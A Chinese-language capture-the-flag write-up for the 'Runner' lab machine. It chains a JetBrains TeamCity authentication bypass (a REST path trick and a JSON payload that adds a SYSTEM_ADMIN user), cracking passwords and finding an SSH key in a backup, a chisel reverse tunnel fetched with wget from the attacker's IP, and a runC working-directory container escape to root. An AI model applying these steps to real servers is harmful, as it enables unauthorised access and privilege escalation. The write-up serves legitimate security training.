JetBrains TeamCity 身份验证绕过漏洞、runC 逃逸漏洞
Runner
信息搜集
nmap扫描端口
1 | nmap -sV -v 10.10.11.13 |
扫描结果如下
1 | PORT STATE SERVICE VERSION |
访问80端口发现重定向,添加到/etc/hosts
后成功访问
一番搜索没什么东西,扫一下目录和子域名
发现状态码为401,将该子域名添加到hosts文件,访问是登陆界面
扫一下目录
当我们访问/404.html
的时候发现是JetBrains
由于是登陆界面,去网上找到篇文章是关于JetBrains TeamCity身份验证绕过的漏洞 文章链接
这里就不进行分析了,直接按照文章打exp
获取用户列表
1 | /xxx?jsp=/app/rest/users;.jsp |
可以看到存在四个用户
我们添加管理员用户,payload如下(注意解析json数据)
1 | {"username": "test", "password": "test", "email": "test@qq.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}} |
我们再查看下用户列表,发现添加test用户成功
看漏洞是说有两种可以getshell,一种是上传插件另外一种是利用token绕过权限命令执行
测试一下都没成功,正确解法是管理界面存在备份文件
下载下来后,在users文件找到用户及密码
john的密码爆破要很久,成功爆破用户matthew的密码piper123
不过这里
我们继续去找私钥文件
1 | grep -rnw . -e "BEGIN OPENSSH PRIVATE KEY" |
得到文件路径./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
我们使用cp命令放到我们当前文件夹,尝试ssh登陆发现刚好就是john的私钥文件
1 | ssh -i id_rsa john@10.10.11.13 |
拿到user的flag,由于不知道john的密码,无法用sudo提权
只能分析一下网络连接的端口情况
1 | netstat -nltp |
这里注意到9000端口是开放的,使用工具chisel搭建隧道把目标9000端口映射到本地
1 | 本机:./chisel server -p 6150 --reverse |
在本机开启监听6150端口,并执行反向连接,然后靶机主动去监听ip为10.10.14.60的本机并将9000端口映射到本机9000端口
首先在本地开启http服务,然后传上去chisel
1 | wget http://10.10.14.60:777/chisel |
然后就是在本机开启监听后,靶机上执行命令即可搭建隧道
注意两个点
- 第一就是本机kali上pip安装的和我们传上去的chisel版本会不一致,所以传哪个本机上就用哪个
- 第二就是记得赋予可执行权限给chisel
搭建隧道成功后访问本地9000端口,发现是登陆界面
我们拿刚刚爆破得到的用户密码成功登陆
是个管理容器的平台,点击容器查看docker版本为25.03,对应runc版本1.0.0-rc93
此版本的runc存在容器逃逸漏洞 参考文章
根据参考文章,攻击者可通过以下两种方式利用该漏洞:
- 启动一个容器时将容器的工作目录设置为
/proc/self/fd/<fd>
(<fd>
为打开 /sys/fs/cgroup 目录时返回的文件描述符,一般情况下为 7 或 8)。 - 在容器中为
/proc/self/fd/<fd>
(<fd>
为打开/sys/fs/cgroup
目录时返回的文件描述符,一般情况下为 7 或 8) 创建一个符号链接。当外部在该容器中执行命令时,容器中可通过/proc/<PID>/cwd
符号链接访问宿主机文件系统中的/sys/fs/cgroup
目录,并利用形如/proc/<PID>/cwd/../../../
的路径访问宿主机文件系统。
我们先添加新的volume
然后创建新容器
修改工作目录
注意要设置volume
创建好后,进入控制台填上root去连接
成功得到root的flag